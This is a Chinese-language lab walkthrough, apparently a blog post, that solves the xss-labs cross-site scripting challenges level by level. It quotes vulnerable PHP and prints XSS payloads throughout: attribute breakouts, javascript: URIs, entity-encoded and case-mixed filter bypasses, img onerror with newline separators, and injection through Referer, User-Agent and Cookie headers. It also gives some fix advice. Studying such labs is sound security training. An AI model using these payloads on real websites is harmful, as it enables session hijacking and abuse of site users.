前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >xss-labs 通关学习笔记

xss-labs 通关学习笔记

作者头像
Mirror王宇阳
发布2020-11-12 10:56:57
1.3K0
发布2020-11-12 10:56:57
举报
文章被收录于专栏:Mirror的技术成长

xss-labs 学习

By:Mirror王宇阳 time:2020/04/06

level1

我们进入到这个页面之后,快速关注到几个点,Xss注重的输入点,这里的输入点首先在URL栏中找到了name值,Payload检测了该值的长度,所以我们接下来的所有动作都在这个地方进行。

我们翻开源码发现

代码语言:javascript
复制
<body>
    <h1 align=center>欢迎来到level1</h1>
    <h2 align=center>欢迎用户test</h2>
    <center><img src=level1.png></center>
    <h3 align=center>payload的长度:4</h3>
</body>

我们可以对name熟悉做手脚,试构造Payload:

代码语言:javascript
复制
name=<script>alert(/xss/)</script>

修复建议

代码语言:javascript
复制
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.kk="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

从源码中可以看出问题出自$str = $_GET["name"];,将用户输入的内容原样输出了

代码语言:javascript
复制
$str = htmlspecialchars($_GET["name"] , ENT_QUOTES);

使用 htmlspecialchars函数转为HTML实体,留意第二个参数不要忘了!后续的许多源码与这里同一个道理,具体的在做解释!

level2

本题题面看不出区别,但是HTML就有所构造不同了

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;&gt;test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<>test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:6</h3></body>

没错,后台使用了函数对<>进行了HTML实体,不过我们也还是发现了一个点!

代码语言:javascript
复制
<input name=keyword  value="<>test">

input输入点,没错后端在搜索后是保留搜索的关键字内容,所有这就是缺洞!

代码语言:javascript
复制
"><script>alert(1)</script><"

Payload完美的闭合了input标签

代码语言:javascript
复制
<input name=keyword  value=""><script>alert(1)</script><"">

level3

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;&gt;test相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&lt;&gt;test'>	
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:6</h3></body>

这里将level2的漏给堵上了!我们从&lt;&gt;可以得知后端是利用htmlspecialchars函数转为HTML实体编码后输出的,但我们在level1的时候说了htmlspecialchars存在一种开发手误,就是后端开发忘记了设置函数的第二参数导致“会转换双引号,不转换单引号

ps:这里的input标签中的属性使用的单引号,所以我们的Payload才可以成功!

代码语言:javascript
复制
' onclick=alert(1) '
代码语言:javascript
复制
<input name=keyword  value='' onclick=alert(1) ''>	

这里有一点比较有趣,就是onclick这个属性;我们都知道输入框输入之后,保留输入内容,而我们的onclick就会保留在input标签中,而触发条件需要我们单击输入框。

level4

发生了一个比较玄学的东西,我们再来瞅瞅HTML源码

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&lt;&gt;text相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="text">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:4</h3></body>

<input name=keyword value="text">没错,我们输入的两个尖括号消失了;而且input标签采用了双引号,level3的方法也是行不通的!不过我还是“多此一举”的使用双引号

代码语言:javascript
复制
" onclick=alert(1) "

没想到!成功了!看样子后端没有HTML实体编码!

level5

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&lt;script&gt;&lt;/srcipt&gt; ' &quot; test相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="<scr_ipt></srcipt> ' " test">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:27</h3></body>

综合了几个不同的payload特性测试了level5的过滤方式,发现在<h2>标签使用了HTML实体编码,在<input>标签则没有使用HTML实体编码而是做了些过滤删改“ 对script转为scr_ipt ”,后续测试发现 “onclick =》 o_click”,双写、大小写混合等方式均失败!

绕过的策略就是避开他拉黑的函数,使用其它的方式触发!其它事件属性测试后发现没有效果,都被加了下划线隔开了!可见事件触发式不行的了!

另辟蹊径~我们……使用a标签去绕过对scrip标签的检查和事件属性的检测

代码语言:javascript
复制
"><a href="javascript:alert(/xss/)">alert</a> <"

level6

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和&lt;script&gt; &lt;a&gt; href \ &quot; '  alert相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value="<scr_ipt> <a> hr_ef \ " '  alert">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:32</h3></body>

可以发现,对上一关的 href 做了过滤隔开!测了上前五关的payload,然后使用双写、大小写方式绕过:

代码语言:javascript
复制
"><a HREf="javascript:alert(/xss/)">alert</a> <"

level7

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和&lt;script&gt; &lt;a&gt; href \ &quot; '  alert相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword  value="<> <a>  \ " '  alert">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:20</h3></body>

这里可以看出简单粗暴的处理方式,直接将敏感内容为空了!然后使用双写、大小写方式绕过:

代码语言:javascript
复制
"><a hrehreff="javascripscriptt:alert(/xss/)">alert</a> <"

level6:没有对输入变量进行统一小写/大写转换,应该添加strtolower函数统一小写,便于以下操作: $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); level7:必须注意str_replace函数,该函数只对字符串进行一次查找并全部替换、大小写敏感;解决方法就是将替换后的字符串再一次作为替换源进行替换。 $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);

level8

可以看出,这里的输入内容是一个超链接!

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword  value="&lt;&gt;&lt;script&gt;onclick ' &quot; / alert herf ">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<><scr_ipt>o_nclick ' &quot / alert herf ">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:41</h3></body>

第一时间想到了 javascript:alert(xss) ,但是发现 script 被分割了!

通过前辈的思路,学来了编码绕过…… HTML编码 >> 照例解析 >> 输出HTML代码(我们输入的HTML编码 输出的则是代码,HTML实体编码在HTML页面会被解析而在后端看不到)

javascript:alert(/xss/)

代码语言:javascript
复制
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x78;&#x73;&#x73;&#x2f;&#x29;

level9

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword  value="&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x3a;&amp;#x61;&amp;#x6c;&amp;#x65;&amp;#x72;&amp;#x74;&amp;#x28;&amp;#x2f;&amp;#x78;&amp;#x73;&amp;#x73;&amp;#x2f;&amp;#x29;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:138</h3></body>

使用level8-payload测试,发现如上!推测后端对我们的输入内容进行了检测!

代码语言:javascript
复制
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

后端检测了字符串中是否有“http://”,我们需要在合适的地方插入它:

代码语言:javascript
复制
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;'http://'&#x29;

level10

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和&lt;&gt;&lt;script&gt; onclick ' &quot; /相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:24</h3></body>

keyword值被HTML实体编码了,没有利用的必要了,也没有闭合的可能!

关注三个被隐藏的input标签:?keyword=test&t_link=test&t_history&t_sort=test

只有t_sort这个参数有了效果,构造:

代码语言:javascript
复制
" onclick=alert(/xss/) type="text" ><

?keyword=test&t_sort=" onclick=alert(/xss/) type="text" ><

代码语言:javascript
复制
<input name="t_sort"  value="" onclick=alert(/xss/) type="text" " type="hidden">

ok~~~?

level11

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="&quot; onclick=alert(/xss/) type=&quot;text&quot; &gt;&lt;" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:4</h3></body>

?keyword=test&t_link=test&t_history&t_sort=test

t_sort被HTML实体编码,双引号闭合,没戏了!换一个思路t_ref的参数值是请求包中的Referer

ok~~~?

level12

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:9</h3></body>

和level11如出一辙

ok~~~?

level13

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level13</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="" type="hidden">
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:9</h3></body>

ok~~~?

level14

环境出现问题 ~~~ ❓ ”shy014“复现level14关

level15

代码语言:javascript
复制
<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.kk="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:1.gif"></span></body>

眨眼一看非常的懵啊!然后仔细观察了src参数值1.gif 而页面并没有成功的载入该图片;于是我注意到angular.min.js,我不了解Angular,所以我查了class="ng-include"AngularJS ng-include 指令 用于包含外部的HTML文件,包含的内容作为元素的子节点,属性值可以是一个表达式返回一个文件名;意思就是我们可以利用src包含一个存在xss的页面(包含level13/12/11没反应)

代码语言:javascript
复制
src= 'level10.php?t_sort=" onclick=alert(/xss/) type="text" >< '

level16

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level16</h1>
<center><><&nbsp;>&nbsp;&nbsp;scrip&nbsp;t&nbsp;"&nbsp;'&nbsp;\</center>
<center><img src=level16.png></center>
<h3 align=center>payload的长度:4</h3></body>

level16.php?keyword=<><script>script scripScrIPtt " ' \

后端过滤了script \ 替换为&nbsp 但是每有过滤尖括号,我们使用img标签

代码语言:javascript
复制
<img%0asrc=x%0aonerror=alert(1)>

这里的%0a是换行,之所以不用空格是发现后端还过滤的空格

level17

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=&lt;&gt;&lt;scripscriptt&gt; ' &quot; \ () onclick onerror img width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>

level17.php?arg01=a&arg02==<><scripscriptt> ' " \ () onclick onerror img

尖括号、双引号均被HTML实体编码;通常是采用闭合的方式xss,但这里直接把尖括号给毙了!所以就得考虑其它思路。

代码语言:javascript
复制
?arg01=a&arg02=b%0aonmouseover%3dalert(1)

level18

代码语言:javascript
复制
<body>
<h1 align=center>欢迎来到level18</h1>
<embed src=xsf02.swf?a=b width=100% heigth=100%></body>
代码语言:javascript
复制
?arg01=a&arg02=b%0aonmouseover%3dalert(1)

和level19 同一个payload ?

level19/level20

首先修改

的宽高,然后就会全显示如下:

能力之外的两关关于flash

level19 level20

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-08-20 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • xss-labs 学习
    • level1
      • level2
        • level3
          • level4
            • level5
              • level6
                • level7
                  • level8
                    • level9
                      • level10
                        • level11
                          • level12
                            • level13
                              • level14
                                • level15
                                  • level16
                                    • level17
                                      • level18
                                        • level19/level20
                                        领券
                                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档